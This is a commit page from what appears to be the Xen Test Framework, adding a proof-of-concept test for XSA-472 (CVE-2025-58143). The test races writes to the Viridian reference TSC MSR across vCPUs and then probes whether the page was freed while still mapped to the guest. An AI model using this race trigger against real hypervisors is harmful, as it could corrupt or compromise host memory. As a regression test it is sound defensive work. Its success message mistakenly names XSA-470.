Skip to content

Commit 453490d

Browse files
roygerandyhhp
authored andcommitted
XSA-472 PoC: reference TSC page leak
Signed-off-by: Roger Pau Monné <roger.pau@citrix.com> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
1 parent 2f776ce commit 453490d

4 files changed

Lines changed: 193 additions & 0 deletions

File tree

docs/all-tests.dox

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -183,6 +183,8 @@ states.
183183

184184
@subpage test-xsa-472-2 - Viridian Synthetic Timers SIM page NULL dereference.
185185

186+
@subpage test-xsa-472-3 - Viridian reference TSC page leak.
187+
186188

187189
@section index-utility Utilities
188190

tests/xsa-472-3/Makefile

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
include $(ROOT)/build/common.mk
2+
3+
NAME := xsa-472-3
4+
CATEGORY := xsa
5+
TEST-ENVS := hvm32
6+
7+
TEST-EXTRA-CFG := extra.cfg.in
8+
9+
obj-perenv += main.o
10+
11+
include $(ROOT)/build/gen.mk

tests/xsa-472-3/extra.cfg.in

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
viridian = [ "base", "reference_tsc" ]
2+
vcpus = 3

tests/xsa-472-3/main.c

Lines changed: 178 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,178 @@
1+
/**
2+
* @file tests/xsa-472-3/main.c
3+
* @ref test-xsa-472-3
4+
*
5+
* @page test-xsa-472-3 XSA-472 Reference TSC page leak
6+
*
7+
* Advisory: [XSA-472](https://xenbits.xen.org/xsa/advisory-472.html)
8+
*
9+
* Handling of the reference TSC page is racy, which can lead to the page being
10+
* freed while still being part of the guest p2m.
11+
*
12+
* @see tests/xsa-472-3/main.c
13+
*/
14+
#include <xtf.h>
15+
16+
const char test_title[] = "XSA-472-3 PoC";
17+
18+
static uint8_t tsc_page[PAGE_SIZE] __page_aligned_bss;
19+
20+
#define HV_X64_MSR_REFERENCE_TSC 0x40000021
21+
22+
/* Max number of iterations. */
23+
#define MAX_ITER 100
24+
25+
#define NR_APS 2
26+
27+
/*
28+
* BSP waits for ready* to become the AP count, writes start*, and resets
29+
* state for the next phase.
30+
*
31+
* APs atomic inc read*, and wait on start*.
32+
*/
33+
static volatile struct {
34+
unsigned int ready1;
35+
unsigned int ready2;
36+
bool start1;
37+
bool start2;
38+
} wait;
39+
40+
static void ap_thread(void)
41+
{
42+
for ( ;; )
43+
{
44+
/*
45+
* Use LFENCE rather than PAUSE for throttling, to avoid triggering
46+
* Pause-Loop Exiting and having part of the race condition
47+
* de-scheduled by Xen.
48+
*/
49+
50+
asm volatile ("lock addl $1, %0" : "+m" (wait.ready1));
51+
while ( wait.start1 == 0 )
52+
rmb();
53+
54+
wrmsr(HV_X64_MSR_REFERENCE_TSC, 0);
55+
56+
asm volatile ("lock addl $1, %0" : "+m" (wait.ready2));
57+
while ( wait.start2 == 0 )
58+
rmb();
59+
}
60+
}
61+
62+
static bool launch_aps(void)
63+
{
64+
static uint8_t stack[PAGE_SIZE * NR_APS] __page_aligned_bss;
65+
66+
struct xen_vcpu_hvm_context ap = {
67+
/* 32bit Flat Mode */
68+
.mode = VCPU_HVM_MODE_32B,
69+
.cpu_regs.x86_32 = {
70+
.eip = _u(&ap_thread),
71+
72+
/* Same as BSP */
73+
.cr0 = read_cr0(),
74+
.cr4 = read_cr4(),
75+
76+
.cs_limit = ~0U,
77+
.ds_limit = ~0U,
78+
.ss_limit = ~0U,
79+
.es_limit = ~0U,
80+
.tr_limit = 0x67,
81+
82+
.cs_ar = 0xc9b,
83+
.ds_ar = 0xc93,
84+
.ss_ar = 0xc93,
85+
.es_ar = 0xc93,
86+
.tr_ar = 0x08b,
87+
},
88+
};
89+
90+
for ( unsigned int cpu = 1; cpu <= NR_APS; ++cpu )
91+
{
92+
int rc;
93+
94+
ap.cpu_regs.x86_32.esp = _u(stack) + cpu * PAGE_SIZE;
95+
96+
rc = hypercall_vcpu_op(VCPUOP_initialise, cpu, &ap);
97+
98+
if ( rc )
99+
{
100+
xtf_error("Error: unable to init CPU%u: %d\n", cpu, rc);
101+
return false;
102+
}
103+
104+
rc = hypercall_vcpu_op(VCPUOP_up, cpu, NULL);
105+
if ( rc )
106+
{
107+
xtf_error("Error: unable to start CPU%u: %d\n", cpu, rc);
108+
return false;
109+
}
110+
}
111+
112+
return true;
113+
}
114+
115+
void test_main(void)
116+
{
117+
unsigned long tsc_gfn = virt_to_gfn(tsc_page);
118+
unsigned long extents[] = { tsc_gfn };
119+
struct xen_memory_reservation mem = {
120+
.extent_start = extents,
121+
.nr_extents = ARRAY_SIZE(extents),
122+
.domid = DOMID_SELF,
123+
};
124+
125+
if ( !launch_aps() )
126+
return;
127+
128+
for ( unsigned int i = 0; i < MAX_ITER; i++ )
129+
{
130+
long rc;
131+
132+
while ( wait.ready1 < NR_APS )
133+
rmb();
134+
135+
wait.ready2 = 0;
136+
wait.start2 = false;
137+
138+
wrmsr(HV_X64_MSR_REFERENCE_TSC, _u(tsc_page) | 1);
139+
140+
wait.start1 = true;
141+
142+
while ( wait.ready2 < NR_APS )
143+
rmb();
144+
145+
wait.ready1 = 0;
146+
wait.start1 = false;
147+
148+
wait.start2 = true;
149+
150+
/*
151+
* Test whether the page is still assigned to the domain by attempting
152+
* to balloon it out: if the page has been freed the get_page() call
153+
* done in XENMEM_decrease_reservation will fail.
154+
*/
155+
rc = hypercall_memory_op(XENMEM_decrease_reservation, &mem);
156+
if ( rc != 1 )
157+
return xtf_failure("Fail: Vulnerable to XSA-472 (CVE-2025-58143)\n");
158+
159+
/*
160+
* Re-populate in preparation for the next run.
161+
*/
162+
rc = hypercall_memory_op(XENMEM_populate_physmap, &mem);
163+
if ( rc != 1 )
164+
return xtf_error("Error: cannot populate gfn %lx: %ld\n", tsc_gfn, rc);
165+
}
166+
167+
xtf_success("Success: Probably not vulnerable to XSA-470 (CVE-2025-58143)\n");
168+
}
169+
170+
/*
171+
* Local variables:
172+
* mode: C
173+
* c-file-style: "BSD"
174+
* c-basic-offset: 4
175+
* tab-width: 4
176+
* indent-tabs-mode: nil
177+
* End:
178+
*/

0 commit comments

Comments
 (0)